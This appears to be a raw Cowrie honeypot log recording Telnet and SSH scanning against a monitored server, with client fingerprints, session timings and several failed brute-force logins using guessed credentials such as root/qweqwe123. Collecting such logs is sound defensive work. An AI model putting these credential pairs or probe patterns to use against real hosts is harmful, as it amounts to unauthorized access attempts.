{"eventid":"cowrie.session.closed","duration":46.76194500923157,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:20.734171Z","src_ip":"192.119.13.58","session":"86726ff23ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18f8a931dbd","protocol":"telnet","message":"New connection: 192.119.13.58:36672 (10.17.0.5:23) [session: d18f8a931dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:20.974123Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":42176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d341f8bcd07f","protocol":"ssh","message":"New connection: 176.65.148.108:42176 (159.203.135.109:22) [session: d341f8bcd07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.027167Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.110949Z","src_ip":"176.65.148.108","session":"d341f8bcd07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":42190,"dst_ip":"159.203.135.109","dst_port":22,"session":"667f41ad7cb3","protocol":"ssh","message":"New connection: 176.65.148.108:42190 (159.203.135.109:22) [session: 667f41ad7cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.189338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.194199Z","src_ip":"176.65.148.108","session":"667f41ad7cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.276247Z","src_ip":"176.65.148.108","session":"667f41ad7cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:24.524843Z","src_ip":"176.65.148.108","session":"667f41ad7cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:25.610027Z","src_ip":"176.65.148.108","session":"667f41ad7cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45462,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3cba792426","protocol":"telnet","message":"New connection: 192.119.13.58:45462 (10.17.0.5:23) [session: 4a3cba792426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:30.195375Z"}
{"eventid":"cowrie.session.closed","duration":50.52114987373352,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:36.906955Z","src_ip":"192.119.13.58","session":"2f2d74330ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53530,"dst_ip":"10.17.0.5","dst_port":23,"session":"7927d29a4ad5","protocol":"telnet","message":"New connection: 192.119.13.58:53530 (10.17.0.5:23) [session: 7927d29a4ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:39.209858Z"}
{"eventid":"cowrie.session.closed","duration":55.697593688964844,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:43.542546Z","src_ip":"192.119.13.58","session":"b883dd342634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55047,"dst_ip":"159.203.135.109","dst_port":22,"session":"266ab46ffb9b","protocol":"ssh","message":"New connection: 152.42.212.128:55047 (159.203.135.109:22) [session: 266ab46ffb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:45.150849Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:45.156046Z","src_ip":"152.42.212.128","session":"266ab46ffb9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:45.161056Z","src_ip":"152.42.212.128","session":"266ab46ffb9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.69542360305786,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:48.076755Z","src_ip":"192.119.13.58","session":"d32307f1030e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.50079417228699,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:48.885608Z","src_ip":"192.119.13.58","session":"9829c50cfa03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40409231185913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:49.245023Z","src_ip":"192.119.13.58","session":"ff544896c96e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36048,"dst_ip":"10.17.0.5","dst_port":23,"session":"df632f8e3ebb","protocol":"telnet","message":"New connection: 192.119.13.58:36048 (10.17.0.5:23) [session: df632f8e3ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:49.348586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e643d8bc452","protocol":"telnet","message":"New connection: 192.119.13.58:37554 (10.17.0.5:23) [session: 5e643d8bc452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:49.751100Z"}
{"eventid":"cowrie.session.closed","duration":31.270878791809082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:52.244912Z","src_ip":"192.119.13.58","session":"d18f8a931dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.06107687950134,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:54.606907Z","src_ip":"192.119.13.58","session":"c23ee3e51dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.67251110076904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:58.978381Z","src_ip":"192.119.13.58","session":"d3f5b08ea784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48066,"dst_ip":"10.17.0.5","dst_port":23,"session":"be90d97b9c38","protocol":"telnet","message":"New connection: 192.119.13.58:48066 (10.17.0.5:23) [session: be90d97b9c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:59:59.750529Z"}
{"eventid":"cowrie.session.closed","duration":36.37178039550781,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:06.567037Z","src_ip":"192.119.13.58","session":"4a3cba792426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.90229630470276,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:08.462160Z","src_ip":"192.119.13.58","session":"c04442da8cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.025235176086426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:11.234969Z","src_ip":"192.119.13.58","session":"7927d29a4ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f5d32de60b","protocol":"telnet","message":"New connection: 192.119.13.58:45766 (10.17.0.5:23) [session: e9f5d32de60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:13.122709Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55524,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee76d4685884","protocol":"telnet","message":"New connection: 192.119.13.58:55524 (10.17.0.5:23) [session: ee76d4685884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:15.525756Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b663c809348b","protocol":"telnet","message":"New connection: 192.119.13.58:37214 (10.17.0.5:23) [session: b663c809348b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:32.562089Z"}
{"eventid":"cowrie.session.closed","duration":43.16387367248535,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:32.914885Z","src_ip":"192.119.13.58","session":"5e643d8bc452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91011691093445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:33.660568Z","src_ip":"192.119.13.58","session":"be90d97b9c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.53228712081909,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:36.880774Z","src_ip":"192.119.13.58","session":"df632f8e3ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41362,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bece427cfa0","protocol":"telnet","message":"New connection: 192.119.13.58:41362 (10.17.0.5:23) [session: 5bece427cfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:39.161207Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":46794,"dst_ip":"159.203.135.109","dst_port":22,"session":"958b94fc683f","protocol":"ssh","message":"New connection: 69.6.222.198:46794 (159.203.135.109:22) [session: 958b94fc683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:41.046246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:41.050781Z","src_ip":"69.6.222.198","session":"958b94fc683f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:41.167403Z","src_ip":"69.6.222.198","session":"958b94fc683f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stu","message":"login attempt [root/stu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:41.658327Z","src_ip":"69.6.222.198","session":"958b94fc683f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:42.779804Z","src_ip":"69.6.222.198","session":"958b94fc683f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59892,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cdea1ae644f","protocol":"telnet","message":"New connection: 192.119.13.58:59892 (10.17.0.5:23) [session: 4cdea1ae644f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:43.784253Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54936,"dst_ip":"10.17.0.5","dst_port":23,"session":"6079f234ad93","protocol":"telnet","message":"New connection: 192.119.13.58:54936 (10.17.0.5:23) [session: 6079f234ad93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:50.188737Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42188,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b554556f76f","protocol":"ssh","message":"New connection: 62.133.63.178:42188 (10.17.0.5:22) [session: 8b554556f76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:50.801711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:50.806728Z","src_ip":"62.133.63.178","session":"8b554556f76f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:50.931079Z","src_ip":"62.133.63.178","session":"8b554556f76f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58048,"dst_ip":"10.17.0.5","dst_port":23,"session":"e560718a784b","protocol":"telnet","message":"New connection: 192.119.13.58:58048 (10.17.0.5:23) [session: e560718a784b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:51.110923Z"}
{"eventid":"cowrie.session.closed","duration":35.59178280830383,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:51.117403Z","src_ip":"192.119.13.58","session":"ee76d4685884","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe123","message":"login attempt [root/qweqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:51.303975Z","src_ip":"62.133.63.178","session":"8b554556f76f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:52.432863Z","src_ip":"62.133.63.178","session":"8b554556f76f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38326,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec4b7b9f152","protocol":"telnet","message":"New connection: 192.119.13.58:38326 (10.17.0.5:23) [session: dec4b7b9f152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:53.022722Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"029a82401975","protocol":"telnet","message":"New connection: 192.119.13.58:53680 (10.17.0.5:23) [session: 029a82401975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:55.966341Z"}
{"eventid":"cowrie.session.closed","duration":44.501298904418945,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:00:57.623875Z","src_ip":"192.119.13.58","session":"e9f5d32de60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58946,"dst_ip":"10.17.0.5","dst_port":23,"session":"408cd48adcb7","protocol":"telnet","message":"New connection: 192.119.13.58:58946 (10.17.0.5:23) [session: 408cd48adcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:07.782927Z"}
{"eventid":"cowrie.session.closed","duration":37.10824918746948,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:09.670226Z","src_ip":"192.119.13.58","session":"b663c809348b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8c19c1f4eb","protocol":"telnet","message":"New connection: 192.119.13.58:54832 (10.17.0.5:23) [session: 3b8c19c1f4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:19.760341Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55794,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d35a516cd1","protocol":"telnet","message":"New connection: 192.119.13.58:55794 (10.17.0.5:23) [session: 12d35a516cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:19.933100Z"}
{"eventid":"cowrie.session.closed","duration":0.005978822708129883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:19.938962Z","src_ip":"192.119.13.58","session":"12d35a516cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.237282514572144,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:20.398371Z","src_ip":"192.119.13.58","session":"5bece427cfa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.6891884803772,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:26.473310Z","src_ip":"192.119.13.58","session":"4cdea1ae644f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24321389198303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:27.265814Z","src_ip":"192.119.13.58","session":"dec4b7b9f152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81177020072937,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:30.922604Z","src_ip":"192.119.13.58","session":"e560718a784b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d85f83fed11e","protocol":"telnet","message":"New connection: 192.119.13.58:55370 (10.17.0.5:23) [session: d85f83fed11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:32.083548Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0456e9d6f9e","protocol":"telnet","message":"New connection: 192.119.13.58:33748 (10.17.0.5:23) [session: e0456e9d6f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:33.561724Z"}
{"eventid":"cowrie.session.closed","duration":52.25440812110901,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:42.443033Z","src_ip":"192.119.13.58","session":"6079f234ad93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51154,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7bf7d12077","protocol":"telnet","message":"New connection: 192.119.13.58:51154 (10.17.0.5:23) [session: 5a7bf7d12077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:44.279204Z"}
{"eventid":"cowrie.session.closed","duration":49.644758462905884,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:45.610965Z","src_ip":"192.119.13.58","session":"029a82401975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.14588522911072,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:45.928702Z","src_ip":"192.119.13.58","session":"408cd48adcb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13256,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e1c34adec3","protocol":"ssh","message":"New connection: 87.251.64.176:13256 (10.17.0.5:22) [session: b1e1c34adec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:48.579147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:01:48.582370Z","src_ip":"87.251.64.176","session":"b1e1c34adec3","protocol":"ssh"}
